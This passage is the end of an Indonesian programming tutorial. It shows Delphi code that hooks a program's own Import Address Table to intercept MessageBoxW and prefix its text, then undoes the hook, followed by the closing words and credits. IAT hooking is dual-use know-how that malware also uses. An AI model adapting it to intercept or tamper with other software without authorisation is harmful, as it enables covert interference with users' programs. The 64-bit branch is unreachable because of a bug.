if Result or (Size<= mbi.RegionSize) then break;
Dec(Size, mbi.RegionSize);
Ptr := Pointer(DWORD(mbi.BaseAddress) + mbi.RegionSize + 1);
if VirtualQuery(Ptr, mbi, SizeOf(mbi)) = 0 then begin
Result := True;
break;
end;
end;
end;
end;
{******************************************************************************}

Function HookIAT(Handle :THandle; oldfunction,Newfunction:pointer):boolean;
var
ppfn: ppointer;
IDH : PImageDosHeader absolute Handle;
INH32 : PIMAGE_NT_HEADERS32;
INH64 : PIMAGE_NT_HEADERS64;
IID : PIMAGE_IMPORT_DESCRIPTOR;
ITD32 : PIMAGE_THUNK_DATA32;
ITD64 :PIMAGE_THUNK_DATA64;
FileIs64 : bool;
num_written,SaveFlag : DWORD;
begin
result := false;
if (Handle = 0 ) or IsBadCodePtr(oldfunction) or IsBadCodePtr(Newfunction) then exit;
if IsBadReadPtrSize( IDH, SizeOf(TImageDosHeader) ) or
(IDH.e_magic <> IMAGE_DOS_SIGNATURE ) then exit;
INH32 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH32, SizeOf(PIMAGE_OPTIONAL_HEADER32)) or
(INH32.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH32.OptionalHeader.Magic = $10B) then FileIs64 := false
else if (INH32.OptionalHeader.Magic = $20B) then FileIs64 := false
else exit;
if (not FileIs64) then begin
if (INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH32.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD32 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD32 <> nil) and (ITD32.Function_ <> 0) do begin
ppfn := @(ITD32.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(dword), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, SizeOf(dword),num_written);
VirtualProtect(ppfn, sizeof(dword), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD32);
end;
inc(IID);
end;
end else begin
INH64 := MakePtr(IDH, IDH._lfanew);
if IsBadReadPtrSize( INH64, SizeOf(PIMAGE_OPTIONAL_HEADER64)) or
(INH64.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress = 0) then exit;
IID := MakePtr(IDH,INH64.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
while (IID.Name <> 0) do begin
ITD64 := MakePtr(IDH, Integer(IID.FirstThunk));
while (ITD64 <> nil) and (ITD64.Function_ <> 0) do begin
ppfn := @(ITD64.Function_);
if PDWORD(ppfn^) = PDWORD(oldfunction) then begin
VirtualProtect(ppfn, sizeof(ULONGLONG), PAGE_READWRITE, @SaveFlag);
WriteProcessMemory( GetCurrentProcess(), ppfn, @Newfunction, sizeof(ULONGLONG),num_written);
VirtualProtect(ppfn, sizeof(ULONGLONG), SaveFlag , @SaveFlag);
result := true;
end;
inc(ITD64);
end;
inc(IID);
end;
end;
end;

var
OldMessageBox: function (hWnd: HWND; lpText, lpCaption: PWidechar; uType: UINT): Integer; stdcall;

function HookMessageBox(hWnd: HWND; lpText, lpCaption: PWidechar; uType: UINT): Integer; stdcall;
begin
Result := OldMessageBox(hWnd,
PWidechar('HOOKING : '+lpText),
PWidechar('HOOKING : '+lpCaption), uType);
end;

procedure SetAPIHook;
begin
oldmessagebox := GetProcAddress(GetModuleHandle('User32.dll'), 'MessageBoxW');
HookIAT(hInstance,@oldmessagebox,@HookMessageBox);
end;

Procedure resethook;
begin
HookIAT(hInstance,@HookMessageBox,@oldmessagebox);
end;

begin
MessageBox(0, 'Test Message', 'Test Caption', 0);
SetAPIHook;
MessageBox(0, 'Test Message', 'Test Caption', 0);
resethook;
MessageBox(0, 'Test Message', 'Test Caption', 0);
end.

6. Penutup

Dengan berakhirnya bagian coding maka berakhir juga tulisan ini. Segala kekurangan yang terdapat pada tulisan itu kembali ke penulis yang mana juga adalah manusia, so mohon dimaapkan.


1. Thanks, Credit and reference

1. "Portable Executable File Format – A Reverse Engineer View by Goppit".

2. "Iczelion's Win32 Assembly Homepage".

3. Aphex For afxcodehook.

4. Uall For UallCollection.

5. Steve1028 from teachme about pe from zero

6. My Father and brother.

7. All My Friend.

8. All who read this tutorial.

Sumber : Here